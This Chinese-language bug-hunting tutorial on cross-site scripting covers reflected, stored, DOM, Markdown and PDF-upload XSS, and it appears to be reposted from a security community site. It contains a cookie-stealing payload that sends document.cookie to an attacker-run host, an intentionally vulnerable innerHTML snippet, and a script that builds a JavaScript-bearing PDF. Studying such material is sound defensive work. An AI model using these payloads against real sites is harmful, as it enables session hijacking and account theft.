web漏洞挖掘指南 -XSS跨站脚本攻击

一、漏洞原理

  1. 跨站脚本英文全称(Cross Site Scripting跨站脚本),为了不和css层叠样式表(英文全称:Cascading Style Sheets)混淆,因此将跨站脚本缩写为XSS。产生XSS漏洞根本原因其实是web应用未对用户的输入进行严格的过滤和转义,导致攻击者可从正常的输入功能注入脚本代码,我常将xss攻击理解为一种javascript注入,当带有xss恶意代码的页面被其他用户访问到时,js便会被执行,js脚本可以执行很多操作,比如:窃取用户cookie,读取用户键盘记录,截屏,恶意跳转等,甚至可以结合BEEF的hook.js钩子劫持用户浏览器。

二、XSS漏洞检测

1.公认XSS有三种类型:反射型、存储型、dom型。根据字面意思很好区分三者,反射型即服务器根据用户当前输入做出的响应,只能触发一次,这个过程就像一次反射。因此市面上大多self-xss都来自反射型xss,攻击者输入xss脚本,输出仅自己看到,仅xss到自己,常在查询、搜索等功能出现。

  1. 存储型xss即页面保存了攻击者输入的恶意代码,除非对应记录被删除,否则可以一直触发xss,常在留言、个人信息登记等功能出现。

  2. dom型xss比较独特,它涉及的两个层次不是服务器端和浏览器端,而是浏览器端的JavaScript层和HTML层。换种更好理解的说法也就是:从服务器脚本变成了客户端脚本,dom xss的payload不需要服务端解析响应,而是靠浏览器的dom解析,因此dom-xss的触发是抓不到请求包的。漏洞示例xss.html:

    <html>
    <body>
            <div id="tr1"></div>
            <script>
                    document.getElementById("tr1").innerHTML = unescape(location.hash);
            </script>
    </body>
    </html>
Untitled
  1. xss漏洞检测用弹窗进行测试即可,常见的几种弹窗方法:alert()、confirm()、prompt()、console.log()。测试时,尽量结合各种xss类型的特征对功能点进行验证,除了大家常说的“有框即插(看见输入框就盲插xss payload)”,还需注意请求中的各种参数,是否可以原样输出或者以html代码的形式保存到了另一个页面。

三、XSS漏洞利用

  1. 上文提到过,xss的本质其实是js代码的注入,所以XSS漏洞的危害来源于js代码执行,最常见的就是盗取用户cookie,但是在实际场景中我们经常会遇到cookie设置httponly属性导致无法通过js脚本读取的情况,这时还可以读取用户键盘记录,截屏,恶意跳转等,甚至可以结合BEEF的hook.js钩子劫持用户浏览器。
  2. 以最简单的盗取cookie的payload为例,先用python搭建web服务充当xss平台:
Untitled
  1. 然后在存有xss漏洞的位置传入payload:<script>document.location=’http://192.168.123.24?’+document.cookie;</script>
  2. 上述payload先用document.cookie获取了用户cookie,然后利用document.location进行跳转,这样客户端就会携带document.cookie的值访问xss平台,通过xss平台的web日志即可查看对应记录:
Untitled
  1. 市面上的xss平台其实已经编写出很多成熟的xss利用模板了,js代码操作不熟练的师傅可以直接套用xss平台的模板:
Untitled

四、Markdown XSS

  1. Markdown 是一种轻量级标记语言,它允许人们使用纯文本格式编写文档。通过简单的文本方式标记就能指定格式,轻轻松松完成文档的编辑。markdown语言从文本-指定格式的转换过程可以看作一系列的html转换,最终以html标签的形式存储在页面上,因此markdown编辑器也可能出现XSS漏洞。
  2. 插入超链接:
Untitled
Untitled
  1. 除了插入超链接,我们还可以参照常规的XSS payload进行尝试,比如<img>、<svg>等标签。参考案例:
    http://www.52bug.cn/hkjs/3292.html
    https://mp.weixin.qq.com/s/7Qa4o0sYfJei07K3mjL-GA

五、上传PDF导致的XSS

  1. 之前在论坛上看到过有师傅通过把xss代码加到pdf文件,然后通过正常的文件上传功能传至目标服务器中,利用浏览器自带的pdf阅读功能触发xss,这类漏洞还是会有部分厂商会确认的,参考文章:

https://www.t00ls.cc/thread-48480-1-1.html
https://www.t00ls.cc/articles-62790.html
pdf文件还是很少被禁止上传的,众测项目中可以尝试此类测试。

  1. 利用条件:1.有pdf文件上传点 2.保存好的pdf文件可以直接浏览器查看,而不是只能下载至本地。
  2. python脚本一键生成带有xss代码的pdf文件:
    from PyPDF2 import PdfFileWriter
    file = PdfFileWriter()
    file.addJS('app.alert("XSS");')
    output = open('xss.pdf', 'wb')
    file.write(output)

六、xss和markdown xss的fuzz字典可以到原文附件自取

该文章来源火线Zone社区:https://zone.huoxian.cn/d/532-web-xss

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 218,284评论 6 506
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,115评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 164,614评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,671评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,699评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,562评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,309评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,223评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,668评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,859评论 3 336
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,981评论 1 348
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,705评论 5 347
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,310评论 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,904评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,023评论 1 270
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,146评论 3 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,933评论 2 355

推荐阅读更多精彩内容